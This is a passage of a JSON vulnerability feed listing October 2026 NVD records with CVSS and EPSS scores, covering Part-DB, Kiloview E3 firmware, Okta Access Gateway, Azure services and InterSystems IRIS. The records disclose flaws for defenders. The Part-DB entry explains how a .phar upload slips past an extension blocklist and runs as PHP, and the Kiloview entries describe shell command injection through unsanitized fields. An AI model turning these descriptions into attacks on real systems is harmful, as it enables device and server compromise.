CVE-2026-94267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94267","type":"primary","publishedAt":"2026-10-23T06:17:08.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54630","cveId":"CVE-2026-54630","aliases":[],"kind":"vulnerability","title":"Part-DB is an open source inventory management system for electronic components.","summary":"Part-DB is an open source inventory management system for electronic components. Prior to version 2.12.1, the part attachment upload handler stores uploaded files under the web-served media directory using the client-supplied file extension, and its extension blocklist does not include phar. AttachmentSubmitHandler::renameBlacklistedExtensions() rewrites dangerous extensions (php, phtml, sh, cgi, py, js, html, htaccess, ...) to .txt, but phar is absent from the list, so a .phar file keeps its extension. Public attachments (the default) are written into public/media/, which is the Apache document root. The shipped Apache configuration routes .phar to PHP-FPM, so the stored file is executed as PHP on request. The per-attachment-type extension filter is empty by default and is not consulted by the upload handler in a way that blocks this, and a non-admin user in the default users group can create an attachment type with no filter and attach files to parts. Any authenticated user in the default users group uploads a .phar attachment to a part and fetches it under /media/, executing arbitrary PHP as the www-data web user. Ability to exploit depends on the webserver config, docker image contained the vulnerability by default. This issue has been patched in version 2.12.1.","detail":"Part-DB is an open source inventory management system for electronic components. Prior to version 2.12.1, the part attachment upload handler stores uploaded files under the web-served media directory using the client-supplied file extension, and its extension blocklist does not include phar. AttachmentSubmitHandler::renameBlacklistedExtensions() rewrites dangerous extensions (php, phtml, sh, cgi, py, js, html, htaccess, ...) to .txt, but phar is absent from the list, so a .phar file keeps its extension. Public attachments (the default) are written into public/media/, which is the Apache document root. The shipped Apache configuration routes .phar to PHP-FPM, so the stored file is executed as PHP on request. The per-attachment-type extension filter is empty by default and is not consulted by the upload handler in a way that blocks this, and a non-admin user in the default users group can create an attachment type with no filter and attach files to parts. Any authenticated user in the default users group uploads a .phar attachment to a part and fetches it under /media/, executing arbitrary PHP as the www-data web user. Ability to exploit depends on the webserver config, docker image contained the vulnerability by default. This issue has been patched in version 2.12.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T04:18:17.007Z","updatedAt":"2026-10-23T19:36:32.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54630","asOf":"2026-10-23T19:36:32.410Z"},"epss":{"probability":0.00234,"percentile":0.14127,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54630","type":"primary","publishedAt":"2026-10-23T04:18:17.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115547","cveId":"CVE-2026-115547","aliases":[],"kind":"vulnerability","title":"An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values.","summary":"An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values. An authenticated administrator can leverage this to execute system commands within the context of the OAG service account.","detail":"An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values. An authenticated administrator can leverage this to execute system commands within the context of the OAG service account.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T04:18:16.030Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115547","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00495,"percentile":0.42206,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115547&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115547","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115547","type":"primary","publishedAt":"2026-10-23T04:18:16.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115547&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115547, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19677","cveId":"CVE-2026-19677","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary...","summary":"An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary tenant user, obtain TenantAdmin and Designer privileges, and execute arbitrary operating system commands via manipulation of registration parameters containing a valid tenant name and existing user identifier.","detail":"An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary tenant user, obtain TenantAdmin and Designer privileges, and execute arbitrary operating system commands via manipulation of registration parameters containing a valid tenant name and existing user identifier.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T02:16:57.560Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19677","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00533,"percentile":0.44747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19677&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19677","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19677","type":"primary","publishedAt":"2026-10-23T02:16:57.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19677&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19677, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110243","cveId":"CVE-2026-110243","aliases":[],"kind":"vulnerability","title":"The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration...","summary":"The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration endpoint before passing it to a shell command, unlike sibling handlers that perform the same validation. An authenticated web user with permission to configure network settings can exploit this to execute arbitrary operating system commands as root.","detail":"The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration endpoint before passing it to a shell command, unlike sibling handlers that perform the same validation. An authenticated web user with permission to configure network settings can exploit this to execute arbitrary operating system commands as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T23:18:22.520Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110243","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00512,"percentile":0.43346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110243","type":"primary","publishedAt":"2026-10-22T23:18:22.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107861","cveId":"CVE-2026-107861","aliases":[],"kind":"vulnerability","title":"The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a...","summary":"The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a shell command. An authenticated web user with access to this function can embed characters to execute arbitrary operating system commands as root, resulting in full device compromise.","detail":"The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a shell command. An authenticated web user with access to this function can embed characters to execute arbitrary operating system commands as root, resulting in full device compromise.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T23:18:17.190Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107861","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00512,"percentile":0.43345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107861","type":"primary","publishedAt":"2026-10-22T23:18:17.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97785","cveId":"CVE-2026-97785","aliases":[],"kind":"vulnerability","title":"Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.","summary":"Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.","detail":"Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:20:13.483Z","updatedAt":"2026-10-26T11:16:39.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97785","asOf":"2026-10-26T11:16:39.473Z"},"epss":{"probability":0.00646,"percentile":0.50655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97785&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97785","type":"primary","publishedAt":"2026-10-22T22:20:13.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97785&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97785, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83938","cveId":"CVE-2026-83938","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.","summary":"Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.","detail":"Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:19:18.540Z","updatedAt":"2026-10-26T11:16:38.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83938","asOf":"2026-10-26T11:16:38.430Z"},"epss":{"probability":0.00707,"percentile":0.53123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83938","type":"primary","publishedAt":"2026-10-22T22:19:18.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111594","cveId":"CVE-2026-111594","aliases":[],"kind":"vulnerability","title":"InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.","summary":"InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.","detail":"InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:18:01.060Z","updatedAt":"2026-10-23T19:43:46.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111594","asOf":"2026-10-23T19:43:46.190Z"},"epss":{"probability":0.0019,"percentile":0.08521,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111594&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111594","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111594","type":"primary","publishedAt":"2026-10-22T22:18:01.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111594&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111594, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110063","cveId":"CVE-2026-110063","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.","summary":"Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.","detail":"Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:18:00.750Z","updatedAt":"2026-10-23T19:43:46.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110063","asOf":"2026-10-23T19:43:46.190Z"},"epss":{"probability":0.00888,"percentile":0.59051,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110063","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110063","type":"primary","publishedAt":"2026-10-22T22:18:00.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109122","cveId":"CVE-2026-109122","aliases":[],"kind":"vulnerability","title":"The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API.","summary":"The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API. An authenticated web user with permission to configure static routes can exploit this to execute arbitrary operating system commands as root, and the malicious configuration persists across reboots. Successful exploitation could result in full device compromise, including exposure of stored credentials and cryptographic material.","detail":"The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API. An authenticated web user with permission to configure static routes can exploit this to execute arbitrary operating system commands as root, and the malicious configuration persists across reboots. Successful exploitation could result in full device compromise, including exposure of stored credentials and cryptographic material.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:17:59.930Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109122","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00522,"percentile":0.44026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109122","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109122","type":"primary","publishedAt":"2026-10-22T22:17:59.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105014","cveId":"CVE-2026-105014","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.","summary":"Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.","detail":"Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:17:52.183Z","updatedAt":"2026-10-24T04:18:16.820Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105014","asOf":"2026-10-24T04:18:16.820Z"},"epss":{"probability":0.00667,"percentile":0.51596,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 